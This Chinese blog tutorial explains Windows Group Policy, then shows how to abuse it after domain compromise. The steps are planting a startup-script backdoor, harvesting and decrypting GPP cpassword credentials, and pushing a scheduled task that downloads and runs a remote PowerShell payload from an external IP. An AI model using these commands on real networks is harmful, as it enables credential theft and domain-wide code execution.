組策略(GPO)利用與橫向移動

合天網安實驗室 發佈 2022-08-11T21:52:48.317576+00:00

例如,你可以在連結到域的 GPO 中設置多個 Internet Explorer11 安全設置,然後將所有這些設置應用到域中的每台計算機。

組策略介紹

組策略(英語:GrOUp Policy)是微軟Windows NT家族作業系統的一個特性,它可以控制用戶帳戶和計算機帳戶的工作環境。組策略提供了作業系統、應用程式和活動目錄中用戶設置的集中化管理和配置。組策略的其中一個版本名為本地組策略(縮寫「LGPO」或「LocalGPO」),這可以在獨立且非域的計算機上管理組策略對象。

通過使用組策略,你可以設置策略設置一次,然後將該設置複製到多台計算機上。例如,你可以在連結到域的 GPO 中設置多個 Internet Explorer11 安全設置,然後將所有這些設置應用到域中的每台計算機。

組策略分類

本地組策略

本地組策略(Local Group Policy,縮寫LGP或LocalGPO)是組策略的基礎版本,它面向獨立且非域的計算機。至少Windows XP家庭版中它就已經存在,並且可以應用到域計算機。在Windows Vista以前,LGP可以強制施行組策略對象到單台本地計算機,但不能將策略應用到用戶或組。從Windows Vista開始,LGP允許本地組策略管理單個用戶和組,並允許使用「GPO Packs」在獨立計算機之間備份、導入和導出組策略——組策略容器包含導入策略到目標計算機的所需文件。

開始->運行->鍵入"gpedit.msc"->本地組策略編輯器->window設置(system)->腳本->啟動->屬性

顯示文件:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup


把我們的後門程序複製到這個路徑,然後這個腳本開機就會自動加載執行了

域組策略

當機器安裝了域環境的時候,系統管理工具會多出一個功能(組策略管理),通過它,域管理員能夠很方便統一地對域內的機器和用戶進行統一管理。

域管理員經常會面對一個這樣的問題,域成員機子的默認本地管理員密碼過於簡單,想進行批量修改的時候,這個時候就可以利用組策略來進行任務的批量下發。

  • 通過在域中下髮腳本來執行
  • 在組策略首選項GPP中進行設置
  • 本地管理員密碼解決方案:LAPS(不細說這個內容,這是解決這個問題很好的方案)

這裡需要了解下AD域中兩個默認的共享文件夾:SYSVOL NETLOGON

NETLOGON目錄

掛載點:SYSVOL\domain\SCRIPTS 主要存放的是一些腳本信息,是AD活動目錄安裝時候自動創建的,是在sysvol下面的一個子目錄文件夾

SYSVOL目錄

SYSVOL目錄是AD域中的一個共享文件夾,該文件夾在AD活動目錄安裝時候被創建。通常用來存放組策略數據 和 一些腳本 配置文件,這些策略和腳本將用於傳遞給域成員機器。

此外,域控機器之間因為要自動同步域數據,SYSVOL文檔允許該域內的所有DC機之間進行複製,並且所有的AD用戶都可以訪問它

在域中,用戶登錄(計算機)時,會首先在SYSVOL文件查找GPO和啟動腳本。同時,為了保證系統的正常運行,必須為SYSVOL保留足夠的空間緩存,而且不能隨意刪除、改動該文件夾,要不然會出現一些組策略無法啟用等報錯信息

該目錄由於針對的是域內所有機器和用戶,所以域內中的合法用戶均可以訪問和執行該目錄的文件。(普通的域用戶也可以)

如果更改權限,這個地方會顯示拒絕訪問

組策略連結

Default Domain Policy為例,在右邊的作用域裡面,可以看到它連結到demo.com整個域,也就是說在demo.com域內的所有計算機,用戶都會受到這條組策略的影響。連結的位置可以是站點、域以及OU。

比如說xsf這條組策略。它就連結到xs這個OU。加入xs這個OU的所有計算機以及用戶會受到影響。

組策略內容

右鍵組策略,選擇保存報告,可以將組策略的內容導出為htlm。

可以看到它配置的一些內容,設置密碼最長期限為42天,最短密碼長度為7個字符等。

如果想配置這條組策略的內容,在組策略條目上右鍵編輯,打開組策略編輯器。可以看到左邊分為計算機配置以及用戶配置。在裡面的配置分別作用於計算機和用戶。

在配置底下又分為策略以及首選項。首選項是Windows Server 2008發布後用來對GPO中的組策略提供額外的功能。策略和首選項的不同之處就在於強制性。策略是受管理的、強制實施的。而組策略首選項則是不受管理的、非強制性的。

對於很多系統設置來說,既可以通過策略設置來實現,也可以通過策略首選項來實現,二者有相當一部分的重疊。

組策略更新

默認情況下,客戶端更新組策略的方式主要有

  1. 後台輪詢檢查sysvol里的GPT.ini,如果版本高於本地保存的組策略版本,客戶端將會更新本地的組策略。輪詢的時間是,默認情況下,計算機組策略會在後台每隔90分鐘更新一次,並將時間作0到30分鐘的隨機調整。域控制器上的組策略會每隔5分鐘更新一次。
  2. 用戶開機登錄時,會檢查sysvol里的GPT.ini,如果高於本地保存的組策略版本,將會更新本地的組策略。
  3. 客戶端強制更新,執行gpupdate /force

域控強制客戶端更新(不會比較域共享目錄中組策略的版本),執行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(2008 R2默認不支持該命令,2012支持)

組策略應用順序:

應用本地組策略 → 如果有站點組策略則應用 → 應用域策略 → 應用OU上的策略。

如果同一個OU上連結了多個GPO,則按照連結順序從高到低逐個應用。如果多個組策略設置衝突,則後應用的組策略覆蓋先應用的組策略。

組策略存儲

每條組策略可以看做是存儲在域級別的一個虛擬對象,叫做GPO。每個GPO有唯一標誌,用來標識每條組策略(或者說每個GPO),GPO在域內存儲分為兩個部分:GPC、GPT。

GPC位於LDAP中,CN=Policies,CN=System,<BaseDn>下,每個條目對應一個GPC。包含了GPO屬性,例如版本信息,GPO狀態和其他組件設置。

GPT位於\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中。域內任何人都可以讀取\\<DOMAIN>\SYSVOL\<DOMAIN>\這個默認的共享路徑下的內容。

GPC裡面的gPCFileSysPath屬性連結到GPT裡面。GPT是一個文件系統文件夾,其中包含由.adm文件,安全設置,腳本文件以及有關可用於安裝的應用程式的信息指定的策略數據。

在域、站點、OU上的gPLink屬性來標識連結到這裡的組策略,gPOptions屬性來標識組策略是否會繼承。

組策略利用

GPO常用命令

#加載GroupPolicy模塊 (win7沒有,win10有)
Import-Module GroupPolicy –verbose
#獲得所有GPO的內容
Get-GPO -All
#將所有GPO導出為一個HTML報告
Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html
#將每個GPO單獨導出一個HTML報告
Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}
#查看指定GPO的權限設置
Get-GPPermission -Name "客服部組策略" -All
#備份指定GPO
Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups
#備份所有GPO
Backup-Gpo -All -Path "c:\GpoBackups"
#還原指定GPO
Restore-GPO -Name TestGPO1 -Path C:\GpoBackups
#還原所有GPO
Restore-GPO -All -Path "c:\GpoBackups"

利用SYSVOL還原組策略中的密碼

如果在組策略中輸入了密碼,如以用戶身份運行程序、修改域內主機內置administrator用戶密碼等操作。

然後可以在GPT中看到加密後的密碼(AES-256)

C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
  1. 可以通過以下命令來快速搜索(網上有解密方法)
findstr /S cpassword \\192.168.40.154\sysvol\*.xml


for /r \\192.168.40.154/sysvol %i in (*.xml) do @echo %i


  1. 得到cpassword後可以通過kali中的gpp-decryp 去解密
  1. 利用Get-GPPPassword,自動查詢共享文件夾\SYSVOL中的文件,還原出所有明文密碼。

組策略橫向

在拿到域控之後,有時候可能網絡ACL到達不了目標電腦,可以通過組策略進行橫向。攻擊者可以利用組策略來推出惡意軟體、創建/修改計劃任務、降級憑據保護、向所有計算機添加新的本地帳戶被添加到本地管理員組。更改現有的安全策略,啟用明文密碼提取。

實驗環境如下:

域控:AD-2008(192.168.40.154),demo\administrator:vulnstack4.

域機器:win7(192.168.40.157),demo\administrator:vulnstack4.

目前已經拿下域控,域成員機開啟了防火牆,並且禁止了445,135等埠的訪問,傳統的psexec和winrm以及pth等橫向移動無法直接拿下成員機

  • 計劃任務

自Windows Server 2008開始,GPO開始支持計劃任務,便於管理域中的計算機和用戶。

指定用戶配置定時任務

  • 創建GPO
powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02
  • 將GPO連結到域demo.com,需要域管權限。
powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com"
  • #添加定時任務 --TargetDnsName指定計算機
execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabled --TargetDnsName 192.168.40.148

即時任務會在組策略同步的時候強制執行一次,組策略每90分鐘自動同步一次。

  • 在組成員中強制更新組策略,或者默認等待90分鐘等待組策略強制更新
gpupdate /force

這時候可以看到域成員機上線

  • 刪除gpo
powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2

參考:

https://xz.aliyun.com/t/9511

https://www.anquanke.com/post/id/203151#h3-22

關鍵字: